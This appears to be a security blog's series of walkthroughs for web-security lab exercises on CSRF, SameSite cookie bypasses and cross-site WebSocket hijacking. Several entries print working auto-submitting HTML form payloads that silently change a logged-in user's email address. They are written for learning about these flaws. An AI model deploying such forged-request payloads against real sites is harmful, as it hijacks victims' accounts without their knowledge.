CSRF on an's security blog

CSRF with broken Referer validation | Practitioner

Mon, 06 Jul 2026 15:45:16 +0800

Just like this problem, if we intercept the change email request, we may see that there are no CSRF protections present. On top of that, the session cookie still has SameSite=None. So this would make our job very much easier: As the lab name suggests, let’s try manipulating the Referer header. I’ve tried changing it to something else, or remove it entirely, the server seemingly is one step ahead of us and returns a 400 every time: However, if we include the domain name onto the Referer header, the backend accepts it arbitrarily without any filters. This is our entry point! Because the lab has no CSRF defences save for that Referer validation, we can craft a simple payload as follow:

CSRF where Referer validation depends on header being present | Practitioner

Mon, 06 Jul 2026 13:50:16 +0800

Before attempting any CSRF payloads, it’s good practice to know more about the cookies first to see whether certain restrictions are in place. Fortunately for us, this lab has only one session cookie with SameSite=None, without any CSRF token validation. This means any future exploits can be crafted and sent without problems:

Let’s try sending the email changing request to Repeater. As the lab’s name suggests, let’s tinker a little with the Referer header. As you can see above, the Referer header is pointing to the main site in which the backend accepts and forwards our request. How about changing that header to something else instead?

SameSite Strict bypass via sibling domain | Practitioner

Mon, 06 Jul 2026 13:49:16 +0800

At first glance, this is pretty similar to this problem. We inspect the WebSocket history and find out that whenever we send a READY message, all the chat history on that session is returned. So that means the same payload from that problem can be applied right? But notice that the session cookie has SameSite set to Strict, that means every attempt to hijack the WebSocket connection from an outside source will not extract any useful information, besides that same default Connected with Hal Prime message. So naturally, we have to find another attack surface to capitalise on. But where? The only other useful functionality on the main site is the login form, which is protected by the same Strict session cookie. However, CSRF protections like tokens are not present, can we take advantage of this?

Cross-site WebSocket hijacking | Practitioner

Mon, 15 Jun 2026 15:56:16 +0800

First, we shall try to intercept the GET request to /chat to see what’s underneath the hood. Notice that there are no CSRF protections in place, only a session cookie is employed: We also notice that the session cookie has SameSite=None, that means it’s even more vulnerable to potential CSRF attacks, which we are about to do. After sending out some messages on /chat, in our WebSocket history we notice that once the client sends a READY message to the server, the server responds with all of the chat history. We can verify this using Repeater as follow: Now we know there are three vulnerabilities present in this chat system, it’s time to craft the payload!

SameSite Strict bypass via client-side redirect | Practitioner

Fri, 05 Jun 2026 10:22:16 +0800

Unlike this problem, the cookies are set to be SameSite=Strict: However, CSRF protection is still not in place, so maybe we can figure out an exploit.

There is a peculiar feature in the site itself, whereby once you post a comment, there will be a confirmation page that redirects you back to the post you’ve made the comment on

postId is the only but required parameter, we can traverse up the path by setting postId = ../ and surely enough it redirects us back to the main page. Note that the action of posting comments and being redirected does not required you to be logged in.

SameSite Lax bypass via method override | Practitioner

Fri, 05 Jun 2026 09:41:16 +0800

Upon inspecting the HTTP response header, we see that SameSite isn’t explicitly set to anything. We can safely assume that it’s set to Lax by default (at least in Chrome)

While intercepting the request for email change as a normal user, we can see that there is no CSRF token validation which makes our payload lighter:

Our initial payload is this:

<script>
 document.location = 'https://<lab-id>.web-security-academy.net/my-account/change-email?email=attack%40hack.net';
</script>

But once we test this on ourselves, we are hit with a 405 Method Not Allowed. Viewing the page source also confirms the form only accepts POST request. Thus we have to override the method in our request line:

CSRF where token is duplicated in cookie | Practitioner

Thu, 04 Jun 2026 15:33:16 +0800

The barebone logic is the same as this problem. But rather than associating the session cookie with CSRF tokens, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is called the double submit defense against CSRF.

There are many reasons why this method is advocated, with one of the reason being server performance and scaling. The CSRF tokens generated are usually checked for correct formats and so on, thus barring an attacker from generating their own token.

CSRF token is tied to a non-session cookie | Practitioner

Thu, 04 Jun 2026 14:30:16 +0800

The key idea is that there are two separate cookies per se, one for session and the other for generating CSRF tokens. They are not tied to eachother so one can simply get a pair of tokens, then apply that to the payload. The following intercept in Burp shows clearly the pair:

I took a lot of time on this because I thought we can remotely set cookies to the main site, which surprisingly cannot be done. Turns out we have to tell the main site to set our cookies for us, in this case we will be using the search function.

CSRF where token is not tied to user session | Practitioner

Thu, 04 Jun 2026 14:06:16 +0800

We first try changing the email of our own account. By intercepting the POST request in Burp, we can get the CSRF token for that request as below:

Suppose we are blind about the vulnerability, we try to apply that same token in our payload to see whether the web server draws from a common token pool or not. Surprisingly, our payload works and is something like below:

<html>
<body>

<form action="https://<lab-id>.web-security-academy.net/my-account/change-email" method="POST" id="attack">
<input type="hidden" name="email" value="super-ultimate-hacker@leet-hacker.net">
<input type="hidden" name="csrf" value="<csrf-token>">
</form>

<script>
document.getElementById("attack").submit();
</script>

</body>
</html>

CSRF where token validation depends on token being present | Practitioner

Thu, 04 Jun 2026 14:01:16 +0800

Just as the name of the lab implies, the validation depends on whether the csrf token is included in the request or not.

To bypass this, we can just not send the token. Our old payload from the last two labs can be applied straight away:

<html>
<body>

<form action="https://<lab-id>.web-security-academy.net/my-account/change-email" method="POST" id="attack">
<input type="hidden" name="email" value="super-ultimate-hacker@leet-hacker.net">
</form>

<script>
document.getElementById("attack").submit();
</script>

</body>
</html>

CSRF where token validation depends on request method | Practitioner

Thu, 04 Jun 2026 13:44:16 +0800

Upon viewing the page source, the form correctly asks for the CSRF token when the request uses the POST method. But the one for GET is nowhere to be found.

We can just change our existing payload to use GET instead of POST as follow:

<html>
<body>

<form action="https://<lab-id>.web-security-academy.net/my-account/change-email" method="GET" id="attack">
<input type="hidden" name="email" value="super-ultimate-hacker@leet-hacker.net">
</form>

<script>
document.getElementById("attack").submit();
</script>

</body>
</html>

CSRF vulnerability with no defenses | Apprentice

Thu, 04 Jun 2026 10:54:16 +0800

Upon inspecting the form, we can verify that it has no CSRF protection: Therefore, our payload on our exploit server can simply be as follow:

<html>

<form action="https://<lab-id>.web-security-academy.net/my-account/change-email" method="POST" id="attack">
<input type="hidden" name="email" value="super-ultimate-hacker@leet-hacker.net">
</form>

<script>
document.getElementById("attack").submit();

// redirect user after the request is sent
setTimeout(function() {
 window.location.href = "https://<lab-id>.web-security-academy.net/my-account/";
}, 1000);
</script>

</body>

</html>

Upon clicking on the malicious page, the browser immediately and silently, with the input type being hidden, updates the email address of that user with whatever value.